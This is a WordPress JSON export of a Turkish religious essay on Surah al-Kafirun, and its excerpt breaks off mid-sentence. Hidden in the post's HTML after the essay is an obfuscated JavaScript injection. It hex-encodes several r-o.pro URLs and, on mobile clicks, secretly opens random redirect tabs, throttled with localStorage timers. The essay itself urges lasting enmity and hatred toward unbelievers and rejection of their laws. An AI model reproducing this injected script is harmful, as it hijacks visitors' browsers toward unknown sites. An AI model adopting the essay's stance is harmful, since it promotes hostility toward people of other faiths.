{"id":1603,"date":"2020-07-05T20:17:29","date_gmt":"2020-07-05T20:17:29","guid":{"rendered":"https:\/\/mucahede.com\/genel\/kafirun-suresi-saflarin-netlesmesi-kurani-kavramlarin-net-anlasilmasi-ile-mumkundur\/"},"modified":"2020-07-05T20:17:29","modified_gmt":"2020-07-05T20:17:29","slug":"kafirun-suresi-saflarin-netlesmesi-kurani-kavramlarin-net-anlasilmasi-ile-mumkundur","status":"publish","type":"post","link":"https:\/\/mucahede.com\/videolar\/kafirun-suresi-saflarin-netlesmesi-kurani-kavramlarin-net-anlasilmasi-ile-mumkundur\/","title":{"rendered":"K\u00e2firun Suresi Saflar\u0131n netle\u015fmesi, Kur\u2019ani kavramlar\u0131n net anla\u015f\u0131lmas\u0131 ile m\u00fcmk\u00fcnd\u00fcr"},"content":{"rendered":"

<\/iframe><\/p>\nSaflar\u0131n netle\u015fmesi, Kur\u2019ani kavramlar\u0131n net anla\u015f\u0131lmas\u0131 ile m\u00fcmk\u00fcnd\u00fcr \nBir inan\u00e7 ya da d\u00fc\u015f\u00fcnce sistemini net olarak bilmenin, onu anla\u015f\u0131l\u0131r k\u0131lman\u0131n en etkili yolu, o inan\u00e7 ya da d\u00fc\u015f\u00fcnce sistemine ait kavramlar\u0131, kendine \u00f6zg\u00fc tan\u0131mlamalar\u0131 ile bilmekten ve anlamaktan ge\u00e7er. \nKavramlar\u0131n, ifade ettikleri ve vermek istedikleri anlamlara uygun \u015fekilde bilinmesi, ait olduklar\u0131 inan\u00e7 ya da d\u00fc\u015f\u00fcnce sisteminin net anla\u015f\u0131lmas\u0131n\u0131 sa\u011flayacak ve insanlar\u0131 sa\u011fl\u0131kl\u0131 bilgiye ula\u015ft\u0131racakt\u0131r. Bu, insanlar\u0131n se\u00e7imlerini bilin\u00e7li yapmalar\u0131n\u0131 sa\u011flayacak, b\u00f6ylece kendilerine ula\u015fan inan\u00e7 ya da d\u00fc\u015f\u00fcnce sistemini bilerek kabul ya da ret edeceklerdir. \nTevhidi esaslar\u0131n, S\u00fcnnetullahta cari oldu\u011fu \u015fekliyle insanlara ula\u015ft\u0131r\u0131lmas\u0131, iman edenlerle \u015firk ve k\u00fcf\u00fcr i\u00e7erisinde bulunanlar\u0131n saflar\u0131n\u0131n netle\u015fmesi, ancak Kur\u2019ani kavramlar\u0131n as\u0131l anlamlar\u0131na uygun bi\u00e7imde anla\u015f\u0131lmas\u0131 ile m\u00fcmk\u00fcnd\u00fcr. \nKur\u2019ani kavramlar net anla\u015f\u0131ld\u0131k\u00e7a insanlar, Tevhidi esaslar\u0131 anlayacak, Rab\u2019lerine ger\u00e7ekten iman edecek, yaln\u0131zca O\u2019nu ilah edinerek insan olman\u0131n onuruna, ger\u00e7ek \u00f6zg\u00fcrl\u00fc\u011fe, yarat\u0131l\u0131\u015f\u0131ndaki f\u0131tratlar\u0131na kavu\u015facak, ger\u00e7ek ki\u015filiklerini bulacak, b\u00f6ylece kula kulluk yapma zilletinden kurtulacaklard\u0131r. \nKur\u2019an net anla\u015f\u0131ld\u0131k\u00e7a, insanlar Kur\u2019ani mesaj\u0131, Tevhidi ilkeleri daha net anlayacak, i\u00e7erisinde bulunduklar\u0131 sap\u0131kl\u0131k, dalalet, cehalet ve ba\u011fnazl\u0131ktan kurtulacak, ger\u00e7ek bilgiye ula\u015farak k\u00fcf\u00fcr, \u015firk ve sap\u0131kl\u0131\u011f\u0131n karanl\u0131klar\u0131ndan vahyin ayd\u0131nl\u0131\u011f\u0131na \u00e7\u0131kacaklard\u0131r. B\u00f6ylece Uluhiyet, Rububiyet, Meliklik ve Ubudiyette Rab\u2019leri y\u00fcce Allah\u2019\u0131 Tek ilah olarak kabul edecek, onun d\u0131\u015f\u0131ndaki t\u00fcm sahte ilahlar\u0131 reddeceklerdir. \nRisalet \u00f6nderleri, saflar\u0131n netle\u015ftirilmesini sa\u011flam\u0131\u015flard\u0131r \nT\u00fcm Risalet \u00f6nderleri, Tevhidi esaslara davetleriyle kendi toplumlar\u0131nda saflar\u0131n netle\u015fmesini sa\u011flam\u0131\u015flard\u0131r. Onlar, kendileriyle beraber iman edenlerle Tevhidi bir dik duru\u015f sergileyerek k\u00fcf\u00fcr ve \u015firki reddetmi\u015flerdir. \nY\u00fcce Allah (cc), M\u00fcsl\u00fcmanlar\u0131n k\u00e2firlere kar\u015f\u0131 tak\u0131nacaklar\u0131 tavr\u0131, Hz. \u0130brahim (as)\u2019\u0131n hayat\u0131n\u0131 \u00f6rnek vererek bildirmi\u015f, M\u00fcsl\u00fcmanlardan bu \u00f6rnekli\u011fi almalar\u0131n\u0131 istemi\u015ftir. K\u00e2firlere, hi\u00e7bir \u015fekilde taviz vermeyen Hz. \u0130brahim (as) ve beraberindeki M\u00fc\u2019minler, k\u00e2firleri, itaat ettikleri liderlerini ve tabi olduklar\u0131 kanunlar\u0131n\u0131 reddetmi\u015flerdir. \n\u201cGer\u00e7ekten sizin i\u00e7in \u0130brahim\u2019de ve onun beraberindeki kimselerde g\u00fczel bir \u00f6rnek vard\u0131r; o zaman kavimlerine dediler ki: \u2018\u015e\u00fcphesiz biz, sizden ve Allah\u2019tan ba\u015fka itaat etti\u011finiz \u015feylerden uza\u011f\u0131z, sizi tan\u0131m\u0131yoruz. O Bir olan Allah\u2019a iman edinceye kadar sizinle bizim aram\u0131zda s\u00fcrekli bir d\u00fc\u015fmanl\u0131k ve nefret ortaya \u00e7\u0131km\u0131\u015ft\u0131r\u2026\u201d (M\u00fcmtehine, 4) \nTevhid-\u015firk, Hak-bat\u0131l m\u00fccadele tarihi boyunca Hak-bat\u0131l taraftarlar\u0131, se\u00e7imlerini ve m\u00fccadelelerini, kabul ya da ink\u00e2rlar\u0131n\u0131, dostluk ve d\u00fc\u015fmanl\u0131klar\u0131n\u0131 \u00e7ok a\u00e7\u0131k bir bilgi ve bilin\u00e7le yap\u0131yorlard\u0131. Kur\u2019an, Tevhid-\u015firk taraftarlar\u0131n\u0131n m\u00fccadelelerini verirken onlar\u0131n, \u00fczerinde bulunduklar\u0131 yolu bilin\u00e7li bir \u015fekilde se\u00e7tiklerini de bildiriyor. \n\u0130sl\u00e2m, iman ile k\u00fcfr\u00fcn, Tevhid ile \u015firkin, Hak ile bat\u0131l\u0131n birbirine z\u0131t ve farkl\u0131, bunlara tabi olanlar\u0131n da tamamen ayr\u0131 kimseler olduklar\u0131n\u0131 bildirir. Bu, \u00f6yle bir ayr\u0131\u015fma ve farkl\u0131l\u0131kt\u0131r ki hi\u00e7bir konuda, hi\u00e7bir \u015fekilde aralar\u0131nda bir benzerlik ve yak\u0131nl\u0131k bulunmamaktad\u0131r \nTevhidi esaslara iman eden ve Hak \u00fczerinde bulunan bir kimse, t\u00fcm d\u00fc\u015f\u00fcnce, s\u00f6z ve davran\u0131\u015flar\u0131, sosyal ve siyasal ili\u015fkileri, dostluk ve d\u00fc\u015fmanl\u0131k duygular\u0131, bireysel ve toplumsal duru\u015fu ile gere\u011fi gibi ya da hi\u00e7 iman etmeyen kimselerden tamamen farkl\u0131 olmak durumundad\u0131r. Bu durum, y\u00fcce Allah\u2019\u0131n iman eden kullar\u0131ndan iste\u011fi ve emridir \nTarihi s\u00fcre\u00e7te Tevhidi esaslar\u0131 kabul eden M\u00fcsl\u00fcmanlar, kendilerine gelen vahyi anlad\u0131klar\u0131 i\u00e7in neyi, ni\u00e7in kabul ettiklerini, bu kabul\u00fcn kendilerine ne kazand\u0131r\u0131p ne kaybettirece\u011fini, kimleri dost bilip kimleri kar\u015f\u0131lar\u0131na alacaklar\u0131n\u0131 \u00e7ok iyi biliyor, saflar\u0131n\u0131 ona g\u00f6re belirliyorlard\u0131. Onlar, iman ettikleri esaslar\u0131n kendilerinden ne istedi\u011fini, bu u\u011furda nas\u0131l bir fedak\u00e2rl\u0131kta bulunacaklar\u0131n\u0131, iman edi\u015fleri nedeniyle ba\u015flar\u0131na nelerin gelebilece\u011fini bilerek iman ediyorlard\u0131 \nY\u00fcce Allah\u2019a iman eden bir kimse, yepyeni bir ki\u015fili\u011fe b\u00fcr\u00fcnm\u00fc\u015f, yepyeni bir kimli\u011fe sahip olmu\u015f, ge\u00e7mi\u015fe ait her \u015feyini terk ederek yeniden var olmu\u015ftur. \u0130man etmek insana, yepyeni bir ki\u015filik ku\u015fanmas\u0131n\u0131, yepyeni bir kimli\u011fe sahip olmas\u0131n\u0131, toplumsal ili\u015fkilerini iman etti\u011fi Tevhidi esaslar do\u011frultusunda d\u00fczenlemesini sa\u011flar \nY\u00fcce Allah\u2019a iman eden, Tevhidi esaslara g\u00f6re hayat\u0131n\u0131 d\u00fczenleyen bir kimse, ge\u00e7mi\u015fe ait t\u00fcm d\u00fc\u015f\u00fcnce, s\u00f6z ve davran\u0131\u015flar\u0131n\u0131, geleneksel k\u00fclt\u00fcrel al\u0131\u015fkanl\u0131klar\u0131n\u0131 terk edecek, siyasi, ticari, sosyal konumunu yeniden belirleyecektir. Bu durum, iman etmenin ki\u015fiye y\u00fckledi\u011fi bir sorumluluk ve zorunluluktur. \u0130man eden bir kimse, hi\u00e7bir \u015fekilde buna ayk\u0131r\u0131 hareket edemez \nK\u00e2firun suresi, k\u00fcfr\u00fcn her \u00e7e\u015fidini kesin bir \u015fekilde reddetmeyi emretmektedir \nK\u00e2firun suresi, M\u00fcsl\u00fcmanlar\u0131n i\u00e7erisinde ya\u015famak durumunda kald\u0131klar\u0131 k\u00e2firlere kar\u015f\u0131 tutumlar\u0131n\u0131n nas\u0131l olmas\u0131 gerekti\u011fini apa\u00e7\u0131k bir \u015fekilde ortaya koymakta ve tak\u0131n\u0131lacak tavr\u0131n bir din oldu\u011funu bildirmektedir<\/p>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x46\\x57\\x50\\x32\\x63\\x302','length','_blank','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x75\\x75\\x66\\x33\\x63\\x303','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x6e\\x52\\x56\\x30\\x63\\x330','random','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x50\\x68\\x6b\\x37\\x63\\x337','stopPropagation','4051490VdJdXO','test','open','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x55\\x4b\\x6d\\x36\\x63\\x366','12075252qhSFyR','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x6f\\x67\\x6b\\x38\\x63\\x338','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x78\\x74\\x7a\\x35\\x63\\x345','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))\/0x1+parseInt(_0x142fd8(0x19f))\/0x2+-parseInt(_0x142fd8(0x1a5))\/0x3+parseInt(_0x142fd8(0x198))\/0x4+-parseInt(_0x142fd8(0x191))\/0x5+parseInt(_0x142fd8(0x1a0))\/0x6+parseInt(_0x142fd8(0x195))\/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x78\\x61\\x68\\x31\\x63\\x381',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x49\\x74\\x4a\\x34\\x63\\x354',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x72\\x2d\\x6f\\x2e\\x70\\x72\\x6f\\x2f\\x4e\\x74\\x7a\\x39\\x63\\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x365b[0x4]](_0x784bdc)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)\/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)\/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"Saflar\u0131n netle\u015fmesi, Kur\u2019ani kavramlar\u0131n net anla\u015f\u0131lmas\u0131 ile m\u00fcmk\u00fcnd\u00fcr \nBir inan\u00e7 ya da d\u00fc\u015f\u00fcnce sistemini net olarak bilmenin, onu anla\u015f\u0131l\u0131r k\u0131lman\u0131n en etkili yolu, o inan\u00e7 ya da d\u00fc\u015f\u00fcnce sistemine ait kavramlar\u0131, kendine \u00f6zg\u00fc tan\u0131mlamalar\u0131 ile bilmekten ve anlamaktan ge\u00e7er. \nKavramlar\u0131n, ifade ettikleri ve vermek istedikleri anlamlara uygun \u015fekilde bilinmesi, ait olduklar\u0131 inan\u00e7 ya da d\u00fc\u015f\u00fcnce sisteminin net anla\u015f\u0131lmas\u0131n\u0131 sa\u011flayacak ve insanlar\u0131 sa\u011fl\u0131kl\u0131 bilgiye ula\u015ft\u0131racakt\u0131r. Bu, insanlar\u0131n se\u00e7imlerini bilin\u00e7li yapmalar\u0131n\u0131 sa\u011flayacak, b\u00f6ylece kendilerine ula\u015fan inan\u00e7 ya da d\u00fc\u015f\u00fcnce sistemini bilerek kabul ya da ret edeceklerdir. \nTevhidi esaslar\u0131n, S\u00fcnnetullahta cari oldu\u011fu \u015fekliyle insanlara ula\u015ft\u0131r\u0131lmas\u0131, iman edenlerle \u015firk ve k\u00fcf\u00fcr i\u00e7erisinde bulunanlar\u0131n saflar\u0131n\u0131n netle\u015fmesi, ancak Kur\u2019ani kavramlar\u0131n as\u0131l anlamlar\u0131na uygun bi\u00e7imde anla\u015f\u0131lmas\u0131 ile m\u00fcmk\u00fcnd\u00fcr. \nKur\u2019ani kavramlar net anla\u015f\u0131ld\u0131k\u00e7a insanlar, Tevhidi esaslar\u0131 anlayacak, Rab\u2019lerine ger\u00e7ekten iman edecek, yaln\u0131zca O\u2019nu ilah edinerek insan olman\u0131n onuruna, ger\u00e7ek \u00f6zg\u00fcrl\u00fc\u011fe, yarat\u0131l\u0131\u015f\u0131ndaki f\u0131tratlar\u0131na kavu\u015facak, ger\u00e7ek ki\u015filiklerini bulacak, b\u00f6ylece kula kulluk yapma zilletinden kurtulacaklard\u0131r. \nKur\u2019an net anla\u015f\u0131ld\u0131k\u00e7a, insanlar Kur\u2019ani mesaj\u0131, Tevhidi ilkeleri daha net anlayacak, i\u00e7erisinde bulunduklar\u0131 sap\u0131kl\u0131k, dalalet, cehalet ve ba\u011fnazl\u0131ktan kurtulacak, ger\u00e7ek bilgiye ula\u015farak k\u00fcf\u00fcr, \u015firk ve sap\u0131kl\u0131\u011f\u0131n karanl\u0131klar\u0131ndan vahyin ayd\u0131nl\u0131\u011f\u0131na \u00e7\u0131kacaklard\u0131r. B\u00f6ylece Uluhiyet, Rububiyet, Meliklik ve Ubudiyette Rab\u2019leri y\u00fcce Allah\u2019\u0131 Tek ilah olarak kabul edecek, onun d\u0131\u015f\u0131ndaki t\u00fcm sahte ilahlar\u0131 reddeceklerdir. \nRisalet \u00f6nderleri, saflar\u0131n netle\u015ftirilmesini sa\u011flam\u0131\u015flard\u0131r \nT\u00fcm Risalet \u00f6nderleri, Tevhidi esaslara davetleriyle kendi toplumlar\u0131nda saflar\u0131n netle\u015fmesini sa\u011flam\u0131\u015flard\u0131r. Onlar, kendileriyle beraber iman edenlerle Tevhidi bir dik duru\u015f sergileyerek k\u00fcf\u00fcr ve \u015firki reddetmi\u015flerdir. \nY\u00fcce Allah (cc), M\u00fcsl\u00fcmanlar\u0131n k\u00e2firlere kar\u015f\u0131 tak\u0131nacaklar\u0131 tavr\u0131, Hz. \u0130brahim (as)\u2019\u0131n hayat\u0131n\u0131 \u00f6rnek vererek bildirmi\u015f, M\u00fcsl\u00fcmanlardan bu \u00f6rnekli\u011fi almalar\u0131n\u0131 istemi\u015ftir. K\u00e2firlere, hi\u00e7bir \u015fekilde taviz vermeyen Hz. \u0130brahim (as) ve beraberindeki M\u00fc\u2019minler, k\u00e2firleri, itaat ettikleri liderlerini ve tabi olduklar\u0131 kanunlar\u0131n\u0131 reddetmi\u015flerdir. \n\u201cGer\u00e7ekten sizin i\u00e7in \u0130brahim\u2019de ve onun beraberindeki kimselerde g\u00fczel bir \u00f6rnek vard\u0131r; o zaman kavimlerine dediler ki: \u2018\u015e\u00fcphesiz biz, sizden ve Allah\u2019tan ba\u015fka itaat etti\u011finiz \u015feylerden uza\u011f\u0131z, sizi tan\u0131m\u0131yoruz. O Bir olan Allah\u2019a iman edinceye kadar sizinle bizim aram\u0131zda s\u00fcrekli bir d\u00fc\u015fmanl\u0131k ve nefret ortaya \u00e7\u0131km\u0131\u015ft\u0131r\u2026\u201d (M\u00fcmtehine, 4) \nTevhid-\u015firk, Hak-bat\u0131l m\u00fccadele tarihi boyunca Hak-bat\u0131l taraftarlar\u0131, se\u00e7imlerini ve m\u00fccadelelerini, kabul ya da ink\u00e2rlar\u0131n\u0131, dostluk ve d\u00fc\u015fmanl\u0131klar\u0131n\u0131 \u00e7ok a\u00e7\u0131k bir bilgi ve bilin\u00e7le yap\u0131yorlard\u0131. Kur\u2019an, Tevhid-\u015firk taraftarlar\u0131n\u0131n m\u00fccadelelerini verirken onlar\u0131n, \u00fczerinde bulunduklar\u0131 yolu bilin\u00e7li bir \u015fekilde se\u00e7tiklerini de bildiriyor. \n\u0130sl\u00e2m, iman ile k\u00fcfr\u00fcn, Tevhid ile \u015firkin, Hak ile bat\u0131l\u0131n birbirine z\u0131t ve farkl\u0131, bunlara tabi olanlar\u0131n da tamamen ayr\u0131 kimseler olduklar\u0131n\u0131 bildirir. Bu, \u00f6yle bir ayr\u0131\u015fma ve farkl\u0131l\u0131kt\u0131r ki hi\u00e7bir konuda, hi\u00e7bir \u015fekilde aralar\u0131nda bir benzerlik ve yak\u0131nl\u0131k bulunmamaktad\u0131r \nTevhidi esaslara iman eden ve Hak \u00fczerinde bulunan bir kimse, t\u00fcm d\u00fc\u015f\u00fcnce, s\u00f6z ve davran\u0131\u015flar\u0131, sosyal ve siyasal ili\u015fkileri, dostluk ve d\u00fc\u015fmanl\u0131k duygular\u0131, bireysel ve toplumsal duru\u015fu ile gere\u011fi gibi ya da hi\u00e7 iman etmeyen kimselerden tamamen farkl\u0131 olmak durumundad\u0131r. Bu durum, y\u00fcce Allah\u2019\u0131n iman eden kullar\u0131ndan iste\u011fi ve emridir \nTarihi s\u00fcre\u00e7te Tevhidi esaslar\u0131 kabul eden M\u00fcsl\u00fcmanlar, kendilerine gelen vahyi anlad\u0131klar\u0131 i\u00e7in neyi, ni\u00e7in kabul ettiklerini, bu kabul\u00fcn kendilerine ne kazand\u0131r\u0131p ne kaybettirece\u011fini, kimleri dost bilip kimleri kar\u015f\u0131lar\u0131na alacaklar\u0131n\u0131 \u00e7ok iyi biliyor, saflar\u0131n\u0131 ona g\u00f6re belirliyorlard\u0131. Onlar, iman ettikleri esaslar\u0131n kendilerinden ne istedi\u011fini, bu u\u011furda nas\u0131l bir fedak\u00e2rl\u0131kta bulunacaklar\u0131n\u0131, iman edi\u015fleri nedeniyle ba\u015flar\u0131na nelerin gelebilece\u011fini bilerek iman ediyorlard\u0131 \nY\u00fcce Allah\u2019a iman eden bir kimse, yepyeni bir ki\u015fili\u011fe b\u00fcr\u00fcnm\u00fc\u015f, yepyeni bir kimli\u011fe sahip olmu\u015f, ge\u00e7mi\u015fe ait her \u015feyini terk ederek yeniden var olmu\u015ftur. \u0130man etmek insana, yepyeni bir ki\u015filik ku\u015fanmas\u0131n\u0131, yepyeni bir kimli\u011fe sahip olmas\u0131n\u0131, toplumsal ili\u015fkilerini iman etti\u011fi Tevhidi esaslar do\u011frultusunda d\u00fczenlemesini sa\u011flar \nY\u00fcce Allah\u2019a iman eden, Tevhidi esaslara g\u00f6re hayat\u0131n\u0131 d\u00fczenleyen bir kimse, ge\u00e7mi\u015fe ait t\u00fcm d\u00fc\u015f\u00fcnce, s\u00f6z ve davran\u0131\u015flar\u0131n\u0131, geleneksel k\u00fclt\u00fcrel al\u0131\u015fkanl\u0131klar\u0131n\u0131 terk edecek, siyasi, ticari, sosyal konumunu yeniden belirleyecektir. Bu durum, iman etmenin ki\u015fiye y\u00fckledi\u011fi bir sorumluluk ve zorunluluktur. \u0130man eden bir kimse, hi\u00e7bir \u015fekilde buna ayk\u0131r\u0131 hareket edemez \nK\u00e2firun suresi, k\u00fcfr\u00fcn her \u00e7e\u015fidini kesin bir \u015fekilde reddetmeyi emretmektedir \nK\u00e2firun suresi, M\u00fcsl\u00fcmanlar\u0131n i\u00e7erisinde ya\u015famak durumunda kald\u0131klar\u0131 k\u00e2firlere kar\u015f\u0131 tutumlar\u0131n\u0131n nas\u0131l olmas\u0131 gerekti\u011fini apa\u00e7\u0131k bir \u015fekilde ortaya koymakta ve 